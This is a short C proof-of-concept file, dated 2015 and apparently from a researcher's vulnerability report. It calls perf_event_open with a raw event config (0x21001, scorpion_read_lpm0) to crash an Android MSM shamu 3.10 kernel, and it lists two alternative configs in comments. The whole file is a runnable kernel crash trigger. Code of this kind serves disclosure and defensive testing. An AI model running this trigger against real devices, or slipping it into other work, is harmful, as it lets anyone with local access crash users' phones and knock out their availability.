/*
   POC of perf crash
   chengjia4574@gmail.com
   Nov 16, 2015
*/


#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <unistd.h>
#include <dirent.h>
#include <asm/unistd.h>
#include <sys/ioctl.h>
#include "perf_event.h" // from android-msm-shamu-3.10-marshmallow , include/uapi/linux/perf_event.h

long perf_event_open(struct perf_event_attr *hw_event, pid_t pid,
		int cpu, int group_fd, unsigned long flags)
{
	int ret;

	ret = syscall(__NR_perf_event_open, hw_event, pid, cpu,
			group_fd, flags);
	return ret;
}

int main(int argc, char* argv[])
{
	int fd = -1;
	int i = 0;
	int ret = -1;

	struct perf_event_attr pe;
	memset(&pe, 0, sizeof(struct perf_event_attr));
	pe.type = PERF_TYPE_RAW;
	pe.config = 0x21001; // scorpion_read_lpm0
	//pe.config = 0x22001;  // run scorpion_read_lpm1
	//pe.config = 0x23001;  // run scorpion_read_lpm2
	//trigger
	fd = perf_event_open(&pe, 0, -1, -1, 0);

	return 0;
}
